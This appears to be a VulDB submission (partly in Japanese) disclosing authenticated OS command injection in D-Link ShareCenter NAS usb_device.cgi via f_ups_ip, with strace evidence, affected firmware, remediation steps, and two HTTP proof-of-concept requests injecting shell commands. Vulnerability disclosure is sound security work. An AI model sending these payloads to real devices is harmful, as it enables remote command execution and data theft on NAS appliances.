提出 #894210: D-Link DNS-320L/DNS-327L/DNS-340L/DNS-345 ShareCenter NAS family multiple confirmed ShareCenter firmware builds OS Command Injection

D-Link ShareCenter usb_device.cgi UPS OS command injection

## 2. Vulnerability Summary

- **Internal Tracking ID:** DLINK-CMD-005
- **Vulnerability Class:** CWE-78
- **Vulnerability Type:** OS Command Injection
- **Severity:** 8.8 (High)
- **CVSS 3.1 Vector:** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- **Attack Prerequisites:** Authenticated web-management access required
- **Verification Status:** CONFIRMED
- **Verification Evidence:** runtime/QEMU marker evidence + duplicate checks in D-Link evidence package

## 3. Affected Vendor / Product

- **Vendor:** D-Link
- **Product:** DNS-320L/DNS-327L/DNS-340L/DNS-345 ShareCenter NAS family
- **Affected Version / Firmware:** multiple confirmed ShareCenter firmware builds
- **Affected Component:** cgi/backup_mgr/usb_device.cgi
- **Architecture:** ARM EABI5 little-endian

## 4. Description

The `usb_device.cgi` CGI handler implements USB and UPS management. In the authenticated UPS configuration branches, the HTTP POST parameter `f_ups_ip` is concatenated into shell command strings used to change UPS master/slave settings:

```text
UPS_Setting -M ON <f_ups_ip> > /dev/null &
UPS_Setting -S ON <f_ups_ip> > /dev/null &
```

The `GUI_ups_add` branch reaches the `UPS_Setting -M ON` command path. The `GUI_ups_slave_setting` branch reaches the `UPS_Setting -S ON` command path. Because `f_ups_ip` is not shell-metacharacter neutralized before being placed into these commands, an authenticated web attacker can inject shell metacharacters and execute arbitrary commands as the CGI process user.

The vulnerable parameter is exposed by the authenticated UPS management UI. `upsDiag.js` sends POST requests to `/cgi-bin/usb_device.cgi` with `cmd=GUI_ups_add`, `f_ups_ip`, and `f_flag`, and also sends `cmd=GUI_ups_slave_setting` with `f_ups_ip`.

## 5. Technical Details

Runtime summary:

| Firmware | Binary SHA1 | Marker hits | Controlled shell traces |
| ---------------------- | ---------------------------------------- | ----------- | ----------------------- |
| DNS-320L 1.10B03 | d1470206f634600a6df18c2e4770ec677e060c15 | 3 | 3 |
| DNS-327L 1.10B02 | 56612b0bf4c3645d1414b8e1ff685d98fb931bd8 | 3 | 3 |
| DNS-340L 1.01B04 | 69166e09fedeb4e7c25314253410870426eb135a | 3 | 3 |
| DNS-345 1.01 | fbc8992a1e8f573f727bba6c2b2200541efaeafc | 3 | 3 |
| DNS-345 1.03B06 | d69147ea2f9c83fa8978d8faf07c5334daefe609 | 3 | 3 |
| DNS-345 1.04.B02 | d69147ea2f9c83fa8978d8faf07c5334daefe609 | 3 | 3 |
| DNS-345 1.05b04 HOTFIX | d69147ea2f9c83fa8978d8faf07c5334daefe609 | 3 | 3 |

Representative qemu strace evidence:

DNS-340L 1.01B04 `GUI_ups_add`:

```text
execve("/bin/sh",{"sh","-c","UPS_Setting -M ON 127.0.0.1;touch /tmp/FIRMREC_DNS340L_101B04_USB_DEVICE_20260526_ups_add_ip.hit;# > /dev/null & ",NULL})
```

DNS-345 1.03B06 `GUI_ups_slave_setting`:

```text
execve("/bin/sh",{"sh","-c","UPS_Setting -S ON 127.0.0.1;touch /tmp/FIRMREC_DNS345_103B06_USB_DEVICE_20260526_ups_slave_ip.hit;# > /dev/null & ",NULL})
```

The verifier created marker files in the temporary qemu sysroots for `GUI_ups_add` semicolon payloads, `GUI_ups_add` command-substitution payloads, and `GUI_ups_slave_setting` semicolon payloads across all seven tested firmware images.

## 6. Proof of Concept / Reproduction

Low-impact marker examples:

```http
POST /cgi-bin/usb_device.cgi HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded

cmd=GUI_ups_add&f_ups_ip=127.0.0.1;touch /tmp/DLINK_CMD_005_ups_add.hit;#&f_flag=0
```

```http
POST /cgi-bin/usb_device.cgi HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded

cmd=GUI_ups_slave_setting&f_ups_ip=127.0.0.1;touch /tmp/DLINK_CMD_005_ups_slave.hit;#&f_flag=0
```

## 7. Security Impact

Successful exploitation allows authenticated remote command execution on the NAS appliance. The attacker can run arbitrary shell commands, alter device state, access stored data, or disrupt storage services.

This report is limited to the UPS `f_ups_ip` command-injection paths. The same verification run also covered USB storage unmount and printer-clear parameters, but those branches did not produce marker files or unescaped controlled command lines and are not claimed here.

## 8. Remediation Recommendation

1. Replace shell-based command construction with argument-vector APIs such as `execve()` that do not invoke `/bin/sh`.
2. Treat `f_ups_ip` as an IP address list, not a shell fragment; enforce strict server-side IP-address parsing and reject unexpected characters.
3. Reject shell metacharacters, command substitutions, whitespace, separators, and malformed list entries before UPS setting changes.
4. Add server-side authorization and CSRF protections for UPS management actions.

• ソース: ⚠️ https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/DLINK-CMD-005-vulndb.md
• ユーザー: ST4R0001 (UID 99565)
• 送信: 2026年07月17日 18:32 (1 月 ago)
• モデレーション: 2026年08月30日 19:36 (1 month later)
• ステータス: 承諾済み
• VulDBエントリ: 397179 [D-Link DNS-320L/DNS-327L/DNS-340L/DNS-345 迄 20260717 CGI /cgi-bin/usb_device.cgi f_ups_ip 特権昇格]
• ポイント: 20